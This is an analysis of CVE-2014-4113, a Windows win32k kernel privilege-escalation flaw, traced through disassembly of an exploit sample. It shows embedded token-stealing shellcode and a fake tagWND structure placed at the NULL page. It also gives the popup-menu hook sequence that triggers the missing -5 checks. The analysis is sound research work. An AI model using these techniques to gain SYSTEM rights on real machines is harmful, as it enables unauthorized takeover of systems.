Analysis of CVE-2014-4113

(Windows privilege Escalation Vulnerability)

Ronnie Johndas

Here we will be looking a kernel level privilege escalation vulnerability CVE-2014-4113. The vulnerability is exploited by creating tagWND structure at NULL page (0x00000000). We'll see here why control is transferred to the shellcode and the reason the malicious tagWND structure is the crafted the way it is.

User-Mode Code

The exe first tries to determine the OS it is running on and stores the following data in the variable based on the OS version and build:

Windows Xp Sp2	0c8
Windows Xp Sp1	12c
Windows Xp Sp3	0d8
Windows Server 2008	0e0
windows 7 / Windows Server 2008 R2	0f8

Although this was checked, this data is not being used anywhere to restrict execution. All these versions allow memory allocation at NULL page.

After that it calls "ZwQuerySystemInformation" with the following arguments:

```
|InfoType = SystemModuleInfo
Buffer = 00153850
|Bufsize = 8640 (34368.)
\pReqsize = 0012FDEC
```

This gives the list of modules loaded in kernel space. As shown below:

```
00153870  5C 57 49 4E 44 4F 57 53 5C 73 79 73 74 65 6D 33  \WINDOWS\system3
00153880  32 5C 6E 74 6B 72 6E 6C 70 61 2E 65 78 65 00 00  2\ntkrnlpa.exe..
……………………………………………………………………………………………………..
00153980  00 40 00 0C 01 00 00 00 01 00 12 00 5C 57 49 4E  .@..........\WIN
00153990  44 4F 57 53 5C 73 79 73 74 65 6D 33 32 5C 68 61  DOWS\system32\ha
001539A0  6C 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00  l.dll...........
```

From this list it will search for the module "ntkrnlpa.exe" and get its load address. Then it will load ntkrnlpa.exe and get the function address for "PsLookupProcessByProcessId" and then subtracts the value from the load address of ntkrnlpa.exe in user space to get the RVA then adds it to the kernel level base address of ntkrnlpa.exe to the address to the function in kernel mode and copies it to a location. This location is like a call table that will be used by shellcode to call ntkrnlpa.exe exported functions.

The shellcode come embedded in the exe:

```
004013D6   . 83EC 08            SUB ESP,8
004013D9   . 8D4424 04          LEA EAX,DWORD PTR SS:[ESP+4]
004013DD   . 50                  PUSH EAX
004013DE   . 51                 PUSH ECX
004013DF   . FF15 80434000       CALL DWORD PTR DS:[404380]
004013E5   . A1 9C434000        MOV EAX,DWORD PTR DS:[40439C]
004013EA   . 8D1424              LEA EDX,DWORD PTR SS:[ESP]
004013ED   . 52                  PUSH EDX
004013EE   . 50                 PUSH EAX
004013EF   . FF15 80434000      CALL DWORD PTR DS:[404380]
004013FA   . 8B0C24             MOV ECX,DWORD PTR SS:[ESP]
004013FD   . 8B1408             MOV EDX,DWORD PTR DS:[EAX+ECX]
00401400   . 8B4C24 04           MOV ECX,DWORD PTR SS:[ESP+4]
00401404   . 891408             MOV DWORD PTR DS:[EAX+ECX],EDX
00401407   . 33C0               XOR EAX,EAX
00401409   . 83C4 08            ADD ESP,8
0040140C   . C2 1000            RETN 10
```

The pseudo code for the shellcode is given below:

```
PROCESS pCur, pSys ;
PsLookupProcessByProcessId (CurProcessId,    &Cur);
 PsLookupProcessByProcessId (SystemProcessId, &Sys);
Cur  + TokenOffset = Sys + TokenOffset;
 return  0 ;
```

The variable TokenOffset is the security token which holds the privileges for the process: We can see it in the listing below for the EPROCESS structure:

```
ntdll!_EPROCESS
  ..............
   +0x0c0 ExceptionPort    : (null)
   +0x0c4 ObjectTable      : 0xe1000cb8 _HANDLE_TABLE
   +0x0c8 Token            : _EX_FAST_REF
   +0x0cc WorkingSetLock   : _FAST_MUTEX
   +0x0ec WorkingSetPage   : 0
 ...............
```

It then creates a window:

```
WNDCLASS    wcla ;
 wcla.lpfnWndProc   = FirstWndProc ;
```

```
    wcla.lpszClassName = "******" ;
    RegisterClass(&wcla) ;
    hWnd = CreateWindowExA(0, wcla.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0) ;
```

After this it will try to construct memory at null page using the function ZwAllocateVirtualMemory. And fill it with certain values at certain offsets.

One of the value is gathered by calling a code block with in either of the functions “AnimateWindow” or “CreateSystemThreads”. The code block looks like the following in AnimateWindow:

```
7E418655   64:A1 18000000      MOV EAX,DWORD PTR FS:[18]
7E41865B   8378 40 00          CMP DWORD PTR DS:[EAX+40],0
7E41865F   0F84 F9870200        JE USER32.7E440E5E
7E418665   64:A1 18000000      MOV EAX,DWORD PTR FS:[18]
7E41866B   8B40 40             MOV EAX,DWORD PTR DS:[EAX+40]
7E41866E   C3                   RETN
```

This code block is responsible for extracting an important data structure called “Win32 Thread address”. This value will be placed at offset 0x3, the rest of the values are static and show below:

```
0040145D  |> 893D 03000000   MOV DWORD PTR DS:[3],EDI  -→ win32 thread address
00401463  |. C605 11000000   MOV BYTE PTR DS:[11],4
0040146A  |. C705 5B000000   MOV DWORD PTR DS:[5B],x86.004013D0 → address of our exploit code
```

This are the only fields in the malicious tagWND structure that is populated. We’ll see why this memory is constructed the way it is in next section.

After that it does the following steps:

1. Creates two popmenus and insert one items each.
2. If successful it will call SetWindowsHookExA to set a hook at a WndProc1.
3. It will then call TrackPopupMenu this will send the message 0x1EB. If this message is encountered by WndProc1 it will unhook itself using UnhookWindowsHook install a new hook using SetWindowLongA called WndProc2. Then places a call to CallNextHookEx.
4. This call will lead to WndProc2 here if the message is 0x1EB it will call EndMenu and return a value of -5.

At this point the execution is transferred to kernel mode after some user32.dll calls.

Kernel Mode Exception analysis and code execution

To begin analysis there are three approaches:

1. Corrupt the value at 0x00000003 which is the win32 thread address which lead to a blue screen and get the stack trace from there.

2. Patch the shellcode discussed earlier with a 0xCC replacing its first byte “0x83”, this will lead a dbg interrupt, and we can get the stack trace from that point.
3. Setup a hardware break point for memory read at address 0x00000003.

Following the second approach you’ll get the following stacktrace, to get this stack trace install symbol for win xp sp3 and use the commands .sympath and .reload to set up and load the symbols:

```
b24f8ba4 bf80ecc6 fffffffb 000001ed 009efef4         <Exe-Name>+0x13d0
b24f8bc8 bf8f2d0f fffffffb 000001ed 009efef4         win32k!xxxSendMessage+0x1b
b24f8c28 bf8f3679 b24f8c48 00000000 009efef4         win32k!xxxHandleMenuMessages+0x589
b24f8c74 bf923a7d e2136938 bf9ab860 00000000         win32k!xxxMNLoop+0x295
b24f8cd4 bf91287c 00000017 00000000 ffffd8f0         win32k!xxxTrackPopupMenuEx+0x4d1
b24f8d44 8053d638 000f01dd 00000000 ffffd8f0         win32k!NtUserTrackPopupMenuEx+0xb4
b24f8d44 7c90e4f4 000f01dd 00000000 ffffd8f0         nt!KiFastCallEntry+0xf8
009eff08 7e46cf6e 7e465339 000f01dd 00000000         ntdll!KiFastSystemCallRet
009eff2c 00401784 000f01dd 00000000 ffffd8f0         USER32!NtUserTrackPopupMenuEx+0xc
009effb4 7c80b713 00000000 00000002 00140013         <Exe-Name>+0x1784
009effec 00000000 00401670 00000000 00000000         kernel32!BaseThreadStart+0x37.
```

There are other analysis already existing such as in [1] which already tells us where to start looking at, the article tells us that issue starts from the api xxxHandleMenuMessages exported by win32k.sys. So we start from there and locate the code:

```
win32k:BF8F2C3E         call    win32k_xxxMNFindWindowFromPoint
win32k:BF8F2C43         mov     ebx, eax
win32k:BF8F2C45         push    ebx
win32k:BF8F2C46         call    win32k_IsMFMWFPWindow
win32k:BF8F2C4B         test    eax, eax
win32k:BF8F2C4D         mov     [ebp+0Ch], eax
win32k:BF8F2C50         jz      short loc_BF8F2C6D
```

Ebx contains the value -0x 5. The value is placed here because of the call to win32k_xxxSendMessage in xxxMNFindWindowFromPoint:

```
win32k:BF8CDE26         push    dword ptr [edi+0Ch]
win32k:BF8CDE29         call    win32k_xxxSendMessage
```

The register Eax contains the value -0x5 which will be passed on by xxxMNFindWindowFromPoint. I haven’t gone as far as to find out why xxxSendMessage returns -0x5.

At this point we have -0x5 in ebx register and there is a call to IsMFMWFPWindow, this function verifies whether tagWnd structure passed to it valid. The comparison fails at the following point inside IsMFMWFPWindow:

```
                        cmp     [ebp+arg_0], 0FFFFFFFBh  → arg-0 points to the passed tagWND structure
win32k:BF8F3B7F         jz      short loc_BF8F3B9C
win32k:BF8F3B81         cmp     [ebp+arg_0], 0FFFFFFFFh
win32k:BF8F3B85         jz      short loc_BF8F3B9C
```

This function return a value of 0 if the struct is invalid. And takes the jump which leads it to the following location:

```
win32k:BF8F2CD6 loc_BF8F2CD6:                    ; CODE XREF: win32k_xxxHandleMenuMessages+39Dj
win32k:BF8F2CD6                                  ; win32k_xxxHandleMenuMessages+3A2j
win32k:BF8F2CD6                    cmp     ebx, 0FFFFFFFFh
win32k:BF8F2CD9                    jnz     short loc_B
```

Here it checks to see if the return value from xxxMNFindWindowFromPoint is -0x1 but fails to check if it is -0x5. If it was -0x1 it would call win32k_xxxMNButtonDown and win32k_xxxMNRemoveMessage and return (none of these function seem to use the suspect -0x5 value. This shows why a -0x5 had to be returned for the exploit to work. Since the check was not there it will push on to the following code section:

```
win32k:BF8F2CFF loc_BF8F2CFF:
win32k:BF8F2CFF         push    0
win32k:BF8F2D01         push    [ebp+arg_8]
win32k:BF8F2D04         push    1EDh
win32k:BF8F2D09         push    ebx
win32k:BF8F2D0A         call    win32k_xxxSendMessage
win32k:BF8F2D0F         jmp     short loc_BF
```

Stack for the same:

```
B2363BD0  FFFFFFFB → ebx
B2363BD4  000001ED
B2363BD8  009EFEF4
B2363BDC  00000000
```

The entire argument stack is passed as it is to the function win32k_xxxSendMessageTimeout. In this function we can see a check:

```
win32k:BF8140C7         mov     esi, [ebp+tagWND]
win32k:BF8140CA         cmp     esi, 0FFFFFFFFh
win32k:BF8140CD         jz      loc_BF813F82
```

In case the value is -0x1 then it will exit after calling win32k_xxxBroadcastMessage. Again we can see that the check -0x5 is missing.

In the case when the values are not equal, it will arrive at the following address:

```
win32k:BF8140E5         mov     edi, win32k_gptiCurrent
win32k:BF8140EB         cmp     edi, [esi+8]
win32k:BF8140EE         jnz     short  loc_BF814157
```

The value win32k_gptiCurrent is win32threadInfo. Based on the snippet given below which shows how the variable is set:

```
_EnterCrit@0 proc near

call    ds:__imp__KeEnterCriticalRegion@0 ; KeEnterCriticalRegion()
push    1             ; Wait
push    _gpresUser      ; Resource
call    ds:__imp__ExAcquireResourceExclusiveLite@8 ; ExAcquireResourceExclusiveLite(x,x)
call    ds:__imp__PsGetCurrentThread@0 ; PsGetCurrentThread()
push    eax
call    ds:__imp__PsGetThreadWin32Thread@4 ; PsGetThreadWin32Thread(x)
mov     _gptiCurrent, eax
retn

_EnterCrit@0 endp
```

Definition of PsGetThreadWin32Thread:

```
PsGetThreadWin32Thread(IN PETHREAD Thread)
{
return Thread->Tcb.Win32Thread;
}
```

As we can see as to why the attacker has set the value at offset 0x00000003 with win32threadinfo. The value of ESI is 0xfffffffb, and even though the win32threadinfo is at an offset of 0x8, because of the value in esi the attacker had to move it to offset 0x3, so it could be read properly. And then it is compared with the value in win32k_gptiCurrent and they should be same for the exploit to work.

Moving forward we can see another check:

```
win32k:BF814104         test    byte ptr [esi+16h], 4 → esi = 0xfffffffb
win32k:BF814108         lea     eax, [ebp+arg_10]
win32k:BF81410B          push    eax
win32k:BF81410C         jnz     loc_BF
```

A value at offset 0x16 is checked to see if it is equal to 4, the attacker has already set this value in the offset 0x11 in the buffer at address 0x00000000 to clear this check.

After clearing these checks we get to the point where our shellcode is executed:

```
win32k:BF81408E         push    dword ptr [ebp+14h]
win32k:BF814091         push    dword ptr [ebp+10h]
win32k:BF814094         push    ebx
win32k:BF814095         push    esi
win32k:BF814096         call    dword ptr [esi+60h]
```

Attacker has placed at address 0x0000005B the address of our shellcode which gets called here.

Let’s look at the structure of tagWND object:

```
typedef struct tagWND
{
/*0x000*/    struct _THRDESKHEAD head;
/*0x014*/    ULONG32      state;
……………………..
/*0x060*/    PVOID lpfnWndProc;
} WND, *PWND;

typedef struct _HEAD
{
 HANDLE h;
  DWORD  cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD
{
   HEAD;
   PTHREADINFO pti;
} THROBJHEAD, *PTHROBJHEAD;
//
typedef struct _THRDESKHEAD
{
   THROBJHEAD;
   PDESKTOP    rpdesk;
   PVOID       pSelf;   // points to the kernel mode address
} THRDESKHEAD, *PTHRDESKHEAD;
```

As we can see from above(highlighted in red) the offset 0x8 is actually the pointer to win32threadinfo object, where the attacker has placed the value captured from AnimateWindow, the next value which was places was “4” which maps to 0x16 “state” member and the final value is mapped to the “lpfnWndProc” (Pointer to the window procedure handler) where the attacker has placed the address to shellcode.

References

1. http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/